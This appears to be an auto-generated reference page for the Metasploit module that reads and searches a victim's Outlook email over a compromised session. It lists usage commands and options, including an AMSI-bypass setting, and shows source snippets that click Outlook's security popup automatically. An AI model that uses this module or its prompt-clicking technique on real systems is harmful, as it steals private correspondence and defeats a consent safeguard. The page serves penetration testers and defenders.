Windows Gather Outlook Email Messages - Metasploit


This page contains detailed information about how to use the post/windows/gather/outlook metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Outlook Email Messages
Module: post/windows/gather/outlook
Source code: modules/post/windows/gather/outlook.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows reading and searching email messages from the local Outlook installation using PowerShell. Please note that this module is manipulating the victims keyboard/mouse. If a victim is active on the target system, he may notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/outlook

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/outlook
msf post(outlook) > show options
    ... show and set options ...
msf post(outlook) > set SESSION session-id
msf post(outlook) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/outlook")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/outlook post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/outlook

msf6 post(windows/gather/outlook) > show info

       Name: Windows Gather Outlook Email Messages
     Module: post/windows/gather/outlook
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Wesley Neelen <[email protected]>

Compatible session types:
  Meterpreter

Available actions:
  Name    Description
  ----    -----------
  LIST    Lists all folders
  SEARCH  Searches for an email

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  ACF_TRANSLATION                   no        Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.
  A_TRANSLATION                     no        Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.
  FOLDER                            no        The e-mailfolder to read (e.g. Inbox)
  KEYWORD                           no        Search e-mails by the keyword specified here
  SESSION                           yes       The session to run this module on.

Description:
  This module allows reading and searching email messages from the 
  local Outlook installation using PowerShell. Please note that this 
  module is manipulating the victims keyboard/mouse. If a victim is 
  active on the target system, he may notice the activities of this 
  module. Tested on Windows 8.1 x64 with Office 2013.

Module Options


This is a complete list of options available in the windows/gather/outlook post exploitation module:

msf6 post(windows/gather/outlook) > show options

Module options (post/windows/gather/outlook):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   ACF_TRANSLATION                   no        Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.
   A_TRANSLATION                     no        Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.
   FOLDER                            no        The e-mailfolder to read (e.g. Inbox)
   KEYWORD                           no        Search e-mails by the keyword specified here
   SESSION                           yes       The session to run this module on.

Post action:

   Name  Description
   ----  -----------
   LIST  Lists all folders

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/outlook post exploitation module:

msf6 post(windows/gather/outlook) > show advanced

Module advanced options (post/windows/gather/outlook):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   TIMEOUT                                 120              yes       The maximum time (in seconds) to wait for any Powershell scripts to complete
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/outlook module can do:

msf6 post(windows/gather/outlook) > show actions

Post actions:

   Name    Description
   ----    -----------
   LIST    Lists all folders
   SEARCH  Searches for an email

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/outlook post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/outlook) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error while clicking on the Outlook security notification. Window could not be found


Here is a relevant code snippet related to the "Error while clicking on the Outlook security notification. Window could not be found" error message:

92:	      client.railgun.user32.SetForegroundWindow(hwndChild['return'])
93:	      client.railgun.user32.SetCursorPos(150, 150)
94:	      client.railgun.user32.mouse_event(0x0002, 150, 150, nil, nil)
95:	      client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
96:	    else
97:	      print_error("Error while clicking on the Outlook security notification. Window could not be found")
98:	    end
99:	  end
100:	
101:	  # Main method
102:	  def run

System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)


Here is a relevant code snippet related to the "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" error message:

119:	    if allow and allow_access_for
120:	      atrans = allow
121:	      acftrans = allow_access_for
122:	    else
123:	      if langNotSupported == true
124:	        fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
125:	      end
126:	    end
127:	
128:	    # Outlook installed
129:	    @key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"

Outlook is not installed


Here is a relevant code snippet related to the "Outlook is not installed" error message:

131:	
132:	    if !outlookInstalled.nil?
133:	      if outlookInstalled != 0
134:	        print_good "Outlook is installed"
135:	      else
136:	        fail_with(Failure::Unknown, "Outlook is not installed")
137:	      end
138:	    end
139:	
140:	    # Powershell installed check
141:	    if have_powershell?

PowerShell is not installed


Here is a relevant code snippet related to the "PowerShell is not installed" error message:

139:	
140:	    # Powershell installed check
141:	    if have_powershell?
142:	      print_good("PowerShell is installed.")
143:	    else
144:	      fail_with(Failure::Unknown, "PowerShell is not installed")
145:	    end
146:	
147:	    # Check whether target system is locked
148:	    locked = client.railgun.user32.GetForegroundWindow()['return']
149:	    if locked == 0

Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked.


Here is a relevant code snippet related to the "Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked." error message:

145:	    end
146:	
147:	    # Check whether target system is locked
148:	    locked = client.railgun.user32.GetForegroundWindow()['return']
149:	    if locked == 0
150:	      fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked.")
151:	    end
152:	
153:	    case action.name
154:	    when 'LIST'
155:	      print_good('Available folders in the mailbox: ')

Unknown Action: <ACTION.NAME>


Here is a relevant code snippet related to the "Unknown Action: <ACTION.NAME>" error message:

153:	    case action.name
154:	    when 'LIST'
155:	      print_good('Available folders in the mailbox: ')
156:	      list_boxes
157:	    when 'SEARCH'
158:	      read_emails(folder, keyword, atrans, acftrans)
159:	    else
160:	      print_error("Unknown Action: #{action.name}")
161:	    end
162:	  end
163:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Wesley Neelen <security[at]forsec.nl>

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.